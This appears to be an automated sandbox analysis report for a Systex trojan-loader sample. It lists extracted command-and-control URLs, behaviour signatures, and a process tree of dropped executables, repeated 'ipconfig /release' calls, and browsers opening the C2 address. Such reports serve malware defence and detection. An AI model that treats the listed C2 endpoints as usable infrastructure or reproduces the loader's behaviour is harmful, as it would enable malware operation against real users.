Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
15/10/2026, 11:45
General
- Target 2026-10-13_69731a58daae3a79b66d64a1a354ace7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 361KB
- Sample261015-nwvd8stsfx
- SHA256 fc0b22204034e34aa367e86f9824b205894acab3af7c1942ded33ec937e7fbcf
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 13 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-13_69731a58daae3a79b66d64a1a354ace7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-13_69731a58daae3a79b66d64a1a354ace7_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\omgerojgbztrljeb.exeC:\Temp\omgerojgbztrljeb.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mgebwtrljd.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\mgebwtrljd.exeC:\Temp\mgebwtrljd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mgebwtrljd.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_mgebwtrljd.exeC:\Temp\i_mgebwtrljd.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wlgeyvqoig.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wlgeyvqoig.exeC:\Temp\wlgeyvqoig.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wlgeyvqoig.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_wlgeyvqoig.exeC:\Temp\i_wlgeyvqoig.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vqoigayvqo.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vqoigayvqo.exeC:\Temp\vqoigayvqo.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vqoigayvqo.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vqoigayvqo.exeC:\Temp\i_vqoigayvqo.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vtnlfdxqni.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vtnlfdxqni.exeC:\Temp\vtnlfdxqni.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vtnlfdxqni.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vtnlfdxqni.exeC:\Temp\i_vtnlfdxqni.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vsnkfcxusq.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vsnkfcxusq.exeC:\Temp\vsnkfcxusq.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vsnkfcxusq.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vsnkfcxusq.exeC:\Temp\i_vsnkfcxusq.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecxupmhfzx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ecxupmhfzx.exeC:\Temp\ecxupmhfzx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecxupmhfzx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ecxupmhfzx.exeC:\Temp\i_ecxupmhfzx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rmkhfcwusp.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rmkhfcwusp.exeC:\Temp\rmkhfcwusp.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rmkhfcwusp.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rmkhfcwusp.exeC:\Temp\i_rmkhfcwusp.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jhbztrmjhb.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jhbztrmjhb.exeC:\Temp\jhbztrmjhb.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jhbztrmjhb.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jhbztrmjhb.exeC:\Temp\i_jhbztrmjhb.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wtrljdbzto.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wtrljdbzto.exeC:\Temp\wtrljdbzto.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wtrljdbzto.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_wtrljdbzto.exeC:\Temp\i_wtrljdbzto.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tqljgbytnl.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tqljgbytnl.exeC:\Temp\tqljgbytnl.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tqljgbytnl.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_tqljgbytnl.exeC:\Temp\i_tqljgbytnl.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bytrlgdywq.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bytrlgdywq.exeC:\Temp\bytrlgdywq.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bytrlgdywq.exe ups_ins3⤵
-
C:\Temp\i_bytrlgdywq.exeC:\Temp\i_bytrlgdywq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\daysqlidbv.exe ups_run3⤵
-
C:\Temp\daysqlidbv.exeC:\Temp\daysqlidbv.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_daysqlidbv.exe ups_ins3⤵
-
C:\Temp\i_daysqlidbv.exeC:\Temp\i_daysqlidbv.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\sqkicausnk.exe ups_run3⤵
-
C:\Temp\sqkicausnk.exeC:\Temp\sqkicausnk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_sqkicausnk.exe ups_ins3⤵
-
C:\Temp\i_sqkicausnk.exeC:\Temp\i_sqkicausnk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pnhfvpnhca.exe ups_run3⤵
-
C:\Temp\pnhfvpnhca.exeC:\Temp\pnhfvpnhca.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pnhfvpnhca.exe ups_ins3⤵
-
C:\Temp\i_pnhfvpnhca.exeC:\Temp\i_pnhfvpnhca.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nhecxupnhf.exe ups_run3⤵
-
C:\Temp\nhecxupnhf.exeC:\Temp\nhecxupnhf.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nhecxupnhf.exe ups_ins3⤵
-
C:\Temp\i_nhecxupnhf.exeC:\Temp\i_nhecxupnhf.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\khcwurpmhe.exe ups_run3⤵
-
C:\Temp\khcwurpmhe.exeC:\Temp\khcwurpmhe.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_khcwurpmhe.exe ups_ins3⤵
-
C:\Temp\i_khcwurpmhe.exeC:\Temp\i_khcwurpmhe.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ywrojhezwu.exe ups_run3⤵
-
C:\Temp\ywrojhezwu.exeC:\Temp\ywrojhezwu.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ywrojhezwu.exe ups_ins3⤵
-
C:\Temp\i_ywrojhezwu.exeC:\Temp\i_ywrojhezwu.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bywrojgbzl.exe ups_run3⤵
-
C:\Temp\bywrojgbzl.exeC:\Temp\bywrojgbzl.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bywrojgbzl.exe ups_ins3⤵
-
C:\Temp\i_bywrojgbzl.exeC:\Temp\i_bywrojgbzl.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ywtoljdbvt.exe ups_run3⤵
-
C:\Temp\ywtoljdbvt.exeC:\Temp\ywtoljdbvt.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ywtoljdbvt.exe ups_ins3⤵
-
C:\Temp\i_ywtoljdbvt.exeC:\Temp\i_ywtoljdbvt.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gaytqliday.exe ups_run3⤵
-
C:\Temp\gaytqliday.exeC:\Temp\gaytqliday.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7fff69b0c188,0x7fff69b0c194,0x7fff69b0c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1888,i,18416799321869028143,2315989783697196452,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=3208 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1628,i,5272015038563036926,3600768057109470119,262144 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2492,i,17648234316503034831,5529442854933108365,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3532,i,1683696010442357007,13951135848929220018,2097152 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3524,i,5076868574759004666,5566521574333287625,2097152 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4256,i,131842338966716272,9296252281569281624,2097152 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4236,i,9252285353317166701,15406145160988192412,2097152 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3992,i,12967398383219186287,9953351700414432483,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5252,i,13879646493463712137,5879318622757094897,2097152 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3692,i,15917528103341741088,1624756580580048803,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3672,i,9067853823584308546,903281785963271536,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6092,i,5917430125520075443,10796743435196561036,2097152 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6104,i,2146238417151197014,15823889265460638648,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6104,i,2146238417151197014,15823889265460638648,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6344,i,5106913010348931713,8586723012596613219,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6440,i,8020303009669564095,11265182206203018977,524288 --field-trial-handle=3168,i,16657952874437383852,2475266044849224156,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:144⤵
-
-
